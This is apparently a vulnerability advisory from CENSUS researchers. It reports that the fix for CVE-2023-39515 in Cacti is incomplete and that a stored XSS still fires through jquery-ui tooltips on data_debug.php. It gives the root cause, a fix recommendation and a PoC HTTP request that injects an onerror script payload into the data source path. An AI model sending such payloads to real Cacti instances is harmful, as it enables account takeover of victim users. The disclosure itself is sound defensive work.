Summary

The fix applied for CVE-2023-39515 in version 1.2.25 is incomplete as it enables an adversary to have a victim browser execute malicious code when a victim user hovers their mouse over the malicious data source path in data_debug.php.

Details

My colleague Vissarion Moutafis of CENSUS had reported an issue (GHSA-hrg9-qqqx-wc4h) where it was possible to trigger an XSS by rendering a malicious data source path in data_debug.php.

While verifying the fix for this (and the other reported vulnerabilities) we found that the fix applied to CVE-2023-39515 was incomplete.

Although changes have been applied to the code to HTML encode the "title" attribute and "value" of the data source path, the "title" attribute is passed to jquery-ui in an unsafe way to form a tooltip.

It is our understanding that jquery-ui by default does not allow HTML input for tooltips. However cacti has overriden
this behaviour of jquery-ui with the following code:

layout.js:831
        $(document).tooltip({
                items: 'div.cactiTooltipHint, span.cactiTooltipHint, .checkboxSlider',
                content: function() {
                        var element = $(this);

                        if (element.is('div')) {
                                var text = $(this).find('span').html();
                        } else if (element.is('span') || element.is('a')) {
                                var text = $(this).prop('title');
                        }
                        return text;
                }
        });

There's a related thread in stackoverflow:
https://stackoverflow.com/questions/15734105/jquery-ui-tooltip-does-not-support-html-content

The above code will take the "title" attribute value and use it "as is" to formulate the tooltip message. If the title attribute contains malicious code, this will be executed while the tooltip is rendered, due to code by jquery-ui that looks like this:

jquery-ui.js:18821
tooltip.find( ".ui-tooltip-content" ).html( content );

Remember how the "title" was supposed to be "protected" via HTML encoding? When HTML encoded data land in an HTML attribute value, the browser transforms these to the proper values. For example, if we pass <span title="&#39;"> to a browser the HTML parser of the browser will turn this into <span title="'">, i.e. it will transform ' to a single quote. Hence any HTML encoding we did to the "title" attribute is wasted once the data becomes part of the browser's DOM.

There's one more point in the code where the default tooltip processing is overriden and this is:

managers.php:365
        <script language='javascript' type='text/javascript' >
                $('.tooltip').tooltip({
                        track: true,
                        position: { collision: 'flipfit' },
                        content: function() { return $(this).attr('title'); }
                });
        </script>

CENSUS recommends against using HTML content in tooltips of jquery-ui, reverting the tooltip processing flow to its default behaviour. If tooltips are indeed required to contain HTML content the "title" value should first be passed through a sanitization process like the one applied by 'HTML purifier'.

We do not believe that a new CVE is required to track this. We (CENSUS) will happily review any fixes applied for this issue.

The trigger for this issue was spotted by our colleague Adrianos Valadakis, while the root cause analysis was performed by myself (Dimitrios Glynos).

PoC

Much like CVE-2023-39515 we can use the following call to set the malicious data source path in the database:

POST /cacti/data_sources.php?header=false HTTP/1.1
Host: HOST
Content-Length: 761
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://<HOST>
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <COOKIE>
Connection: close

__csrf_magic=<CSRF TOKEN>&data_template_id=3&host_id=2&_data_template_id=3&_host_id=2&_data_input_id=15&data_template_data_id=198&local_data_template_data_id=3&local_data_id=8&name=%7Chost_description%7C+-+Apache+HTTP++-+CPU+Load&data_source_path=%3Cpath_rra%3E%2Fasdf_apache_cpuload_8.rrd%3Cimg+src%3Dx+onerror%3D%22alert('data+source+path')%22%3E&data_input_id=15&data_source_profile_id=1&rrd_step=300&active=on&data_source_name_277=apache_cpuload&rrd_minimum_277=0&rrd_maximum_277=100&data_source_type_id_277=1&rrd_heartbeat_277=600&data_input_field_id_277=52&value_51=asdf&save_component_data=1&save_component_data_source=1&action=save

For the attacker to place the malicious payload, the aforementioned General Administration>Sites/Devices/Data privileges are required.

A victim user with privileges to view debug_data.php should now visit the following URL:
https://<HOST>/cacti/data_debug.php

After clicking on the affected "data source" and entering the Troubleshooting screen, once the user hovers the mouse over the malicious data source path value, the malicious code will be executed twice, as illustrated in the screenshot below.

Impact

To perform the XSS attack the adversary needs to be an authorized cacti user with the following permissions:
General Administration>Sites/Devices/Data

The victim of this attack could be any account with permissions to view http://<HOST>/cacti/data_debug.php.

Once the attacker has executed the malicious JavaScript within the victim's browser it is possible to:

• perform a victim-account takeover
• perform arbitrary actions on the platform as the victim user
• redirect the user to a malicious website
• ask for sensitive information, under the cover of the cacti webpage
• run browser related exploits and attacks
• have the victim browser join a botnet and participate in a DDoS attack